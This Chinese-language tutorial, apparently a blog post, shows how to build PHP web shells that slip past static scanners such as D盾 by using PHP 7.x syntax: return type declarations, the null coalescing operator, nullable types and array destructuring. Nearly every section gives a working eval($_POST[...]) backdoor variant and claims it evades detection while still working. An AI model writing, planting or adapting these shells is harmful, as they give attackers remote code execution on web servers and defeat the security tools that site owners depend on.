利用 PHP 新特性过静态查杀

返回值类型申明
php7增加了返回值类型声明的支持,在定义函数时增加一个 `:类型`便可以了。
例如:

function a():int{

...

}

就是函数返回值类型要为int。否则会强制转换或者显示语法错误。
如果未更新此特性的查杀软件,就会不认识此函数,导致被绕过。
例如:

<?php

function b():string{  

  return $_POST['h3art3ars'];

}

eval(b());

?>

可以用查杀软件测试一下。


发现没有被检测到。


可以使用。

null合并运算符

由于日常使用中存在大量同时使用三元表达式和 `isset()`的情况, 添加了null合并运算符 (*??*) 这个语法糖。如果变量存在且值不为**`NULL`**, 它就会返回自身的值,否则返回它的第二个操作数
简单来说:

$a=isset($_POST['a'])?$_POST['a']:'h3art3ars';



$a=$_POST['a']??'h3art3ars';

如果运用 `??`符号,查杀软件不会理解着个处理过程 ,可能就会导致绕过。
就像以下代码就可以绕过某d0g

<?php

$a=$b??$_POST['h3art3ars'];

eval($a);

?>

再利用函数调用一下

<?php

function a(){

  $a=$b??$_POST['h3art3ars'];

  return $a;

}

eval(a());

?>


可以发现已经过了D盾
测试一下可用性


接下来看看7.1的特性吧
php7.1.x

[php手册-php7.0.x新特性]( 
https://www.php.net/manual/zh/migration71.new-features.php  )

可为空(Nullable)类型

参数以及返回值的类型现在可以通过在类型前加上一个问号使之允许为空。当启用这个特性时,传入的参数或者函数返回的结果要么是给定的类型,要么是 null 。

比7.1的特性多了个 `?`函数返回值若不是给定类型,则为空。
使用同样的代码:

<?php

function a(): ?string

{

    return $_POST['h3art3ars'];

}

eval(a());

?>

不出意外


过了D盾

短数组语法

短数组语法([])现在作为list()语法的一个备选项,可以用于将数组的值赋给一些变量(包括在foreach中)。

这里选用中括号 `[]类型`的列表来演示。

$a=['a','b'];

[$c,$d]=$a;

这样,就把数组的值分别赋给了` $c`,`$d`.`$c=’a’;$d=’b’;`
这样,就可以用这个少用的特性,来绕过静态查杀
首先写一个最简单的:

<?php

$a=['h3art3ars',$_POST['h3art3ars']];

[$c,$d]=$a;

eval($d);

?>

然后就过了某d0g。自行测试。
之后就可以配合函数。就像这样:

<?php

function a(){

  $a=['h3art3ars',$_POST['h3art3ars']];

  [$c,$d]=$a;

  return $d;

}

eval(a());

?>

查杀一下


测试可用性


list()现在支持键名

官方说明:现在list()和它的新的[]语法支持在它内部去指定键名。这意味着它可以将任意类型的数组 都赋值给一些变量(与短数组语法类似)

这个很绕,看一下例子也许就会明白了。
eg:

$data = ["id" => 1, "name" => 'h3art3ars']; 

["id" => $a, "name" => $b] = $data;

//结果$a=1,$b='h3art3ars'

稍微改改就能过某d0g(自行测试):

<?php

$a=[

  "shell"=>'a',

  "c"=>$_POST['h3art3ars'],

  ];

["shell"=>$c,"c"=>$b]=$a;

eval($b);

?>

试试D盾


报了一级
再次借助自定义函数。

<?php

function a(){

$a=[

  "shell"=>'a',

  "c"=>$_POST['h3art3ars'],

  ];

["shell"=>$c,"c"=>$b]=$a;

  return  $b;

}

eval(a());

?>


成功过D,测试可用性。

支持为负的字符串偏移量

官方说明

现在所有支持偏移量的字符串操作函数 都支持接受负数作为偏移量,包括通过[]或{}操作字符串下标。在这种情况下,一个负数的偏移量理解为一个从字符串结尾开始的偏移量。

这个在小于7.1版本中,负的偏移量返回空字串。
eg:

<?php

$a="h3art3ars";

var_dump($a[-1]);

?>

7.1.x中返回 `s`,但是以前的版本中 返回 ` string(0) “” `